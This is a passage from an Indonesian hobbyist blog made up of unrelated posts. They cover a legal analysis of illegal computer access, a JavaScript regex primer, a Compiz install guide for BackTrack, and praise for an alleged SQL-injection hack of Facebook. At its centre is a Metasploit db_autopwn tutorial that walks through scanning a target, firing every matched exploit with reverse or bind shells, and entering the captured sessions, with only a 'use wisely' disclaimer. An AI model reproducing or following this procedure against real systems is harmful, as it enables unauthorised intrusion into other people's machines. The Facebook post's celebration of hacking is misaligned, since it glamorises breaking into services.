Marilah kita kaji pasal tersebut berdasarkan perspektif pidana. Pertama-tama kita harus melihat unsur-unsur apa saja yang terdapat di dalam pasal tersebut, unsur-unsurnya adalah:

1. Setiap orang
2. Dengan sengaja dan tanpa hak atau melawan hukum
3. Mengakses komputer dan/atau sistem elektronik:
milik orang lain dengan cara apapun
dengan tujuan untuk memperoleh sistem elektronik
dengan melanggar sistem pengamanan

Penekanannya adalah pada mengakses komputer dan atau sistem elektronik dengan cara melanggar hukum bisa dengan cracking suatu password sebagai perluasan dari anak kunci di dalam KUHP. Dengan demikian usaha dari seseorang yang menerobos masuk dengan tidak sah (berdasarkan bukti log) dan ternyata program tersebut didistribusikan dengan cara tidak sah seperti dalam artikel sebelumnya dapat diterapkan concursus ini. Insya Allah dalam artikel selanjutnya saya akan membahas bagaimana terkait pembuktian dari pidana cracking berdasarkan aspek hukum yang berlaku di ranah internasional dan ranah Indonesia

link: http://mygoder.wordpress.com/2010/05/04/concursus-di-dalam-kasus-findtoyou-com/

metasploit autopwn tutorial

sayang servis dimatiin ya udah buat pembelajaran aja
pertama tama download metasploit di websitenya kemudian instal
kedua kita create db dulu

msf > db_create
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db

kemudian pluginsnya .
msf > load db_tracker
[*] Successfully loaded plugin: db_tracker
kemudian cek services na
msf > db_services

sekarang kita action lihat helpnya dulu

msf > db_autopwn
[*] Usage: db_autopwn [options]
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port
-h Display this help text

saatnya test target
msf >db_nmap -p (port) (target )

berikutnya kita check
msf > db_autopwn -p -t (kalo nggak mau report -r)

saatnya exsekusi
msf > db_autopwn -p -t -e
tunggu pe selesai

setelas selesaai lihat tunnel yang active
msf > sessions -l

langsung deh kita coba masuk
msf > sessions -i 1 (satu adalah id tunell yang active )

silakan di coba

ini cuma pembelajaran
so pergunakan dengan bijak

salam eemmbekerrrrrrrrr *emebbbbbbbbbbbek*


Note :untuk update nya bisa menggunakan msfupdate (harus dengan administrator )
untuk linux lgin ke root pindah direktory ke /opt/metasploit3/msf3

atribute to aki emmbeker (kilurah ) happy birthday

sebenarnya tadinya pingin angon wedhus di server orang tapi kayaknya dah lazim kan ya '
makanya kita tulis aja sharing pengetahuan aja.sebelumnya minta maaf jika aki emmbeker tidak berkenan kita mulai aja.

Regex di Javascript


Di Javascript, regex diwakili oleh objek RegExp. Pertama-tama kita membuat objek RegExp dengan new atau dengan notasi // ala Perl. Untuk mengkompilasi pola, kita menggunakan metode compile(). Kompilasi eksplisit tidak wajib, namun dapat meningkatkan efisiensi. Untuk mencocokkan string dengan pola dan mengambil match groupnya, digunakan metode exec(). Atau untuk sekedar mengetes apakah string cocok atau tidak, gunakan metode test(). Match group dapat diperoleh di properti kelas (bukan properti objek) bernama $1, $2, dst. Jadi ini mirip dengan Perl. Javascript 1.3 mendukung semua sintaks regex yang telah dijelaskan sejauh ini (namun tidak mendukung modifier s dan m).

Modifier i dapat disebutkan di argumen constructor dan metode compile(), atau dengan mengeset properti objek ignoreCase menjadi true. Demikian pula modifier g, dengan properti global.

re = new RegExp("pattern"[, "modifier"])
re = /pattern/modifier
re.ignoreCase = true | false
re.global = true | false
re.compile("pattern", "modifier")
re.test("string")
re.exec("string")
match_element1 = RegExp.$1

Contoh:




Internet Banking



Masukkan username:

Masukkan PIN:




Skrip di atas adalah contoh sederhana validasi sisi klien. Username dan PIN diuji harus dalam bentuk seperti yang dipakai oleh KlikBCA.

makasih sebelumnya walaupun mungkin basi tapi nggak ada salahnya
bukan begitu aki emmbeker
heheheh
maaf ya kang azis
met ultah aja semoga tambah sukses rerjeki dan barokah buat akang heheheh

salam emmbeker

emmmbeeeek.

27/01/10

FACEBOOK POWNED BY BI4KKOB4R



            Ironis emang Facebook bisa di hack? emang bisa ,ya bisa lah.
 Ingat ngak ada system yang 100%aman
gw jamin itu,kenapa karena orang di belakang sysytem itulah yang jadi penentunya .Oke kita bahas aja masalah facebook yang kena hack.Bugs nya adalah sql injection (what the hell?) bener deh sumprit,
Kesalahan fb adalah adanya app facebook yang satu host ma facebook server (sayang ndak tahu app facebook yang mana ) lo itu kan app facebook bukan facebooknya ?.Sabar bro pelan pelan tapi pasti,jadi app yang mengandung bugs sql inject tadi sebagai vuln nya so kalo dah tembus app fcebooknya tinggal jumping ke facebooknya.mantep kali kan.Coba perhatikan baik-baik gambar diatas dengan sekali klik aja facebook langsung undermaintenan salut buat bro BI4KKOB4R.
              Yang bikin salut lagi dia nggak langsung bikin ni facebook down kayak hacker iran (teman-temanya CYBERHELL yang suka reseh kalo ada orang ngintip) yang deface twiter kemarin .Ini adalah bukti bahwa  IT indonesia itu nggak kacangan sekelas facebook yang bisa di intip bahkan masuk ke admin lagi.jadi gw semanngat lagi.
             Analisa diatas cuma rekaan saya dari berbagai sumber yang ada so bisa aja ada teknik lain.And now good night Hati -hati ma facebook anda .Salam sesat dari saya admin_sesat.
 
                




24/01/10

Instal compiz di linux bactrack 4

Berikut iini kita akan instal compiz di linux BACTRACK 4,yang perlu d ingat adalah VGA driver harus terinstal dengan baik soalnya ini yang menjamin berhasil tidaknya compiz .
Kalo dah ok kita mulai aja siap :
1.pertama ikuti perintah berikut.-> admin_sesat@bt:~# apt-get install compiz compiz-fusion-plugins-extra compiz-fusion-plugins-unsupported simple-ccsm fusion-icon
selanjutya dibutuhkan minimal 4 Desktop. setting di:
Backtrack Start Menu -> System -> Setting -> Desktop -> Multiple Desktops.
sett desktop minimal 4 Desktop.
kemudian eksekusi Compiz di
Backtrack Start Menu -> System -> Compiz Fusion Icon. atau

2. admin_sesat@bt:~# fusion-icon --no-start
setelah itu menuju ke Tray Icon Compiz lalu klik kanan dan pilih Reload Window Manager.
untuk setting compiz secara manual atau Advanced tinggal ke Settings Manager, untuk simple gunakan simple-ccsm.
3. admin_sesat@bt:~# simple-ccsm &
selamat anda telah berhasil ...semoga sedikit membantu
5.untuk configurasi tekan tobol alt+f2 ketik ccsm untuk aktifkan efek-efek yang keren habis...red
hasilnya akan seperti ini 
 







Nah bagai mana mau mencoba silakan nggak dilarang kok .terimakasih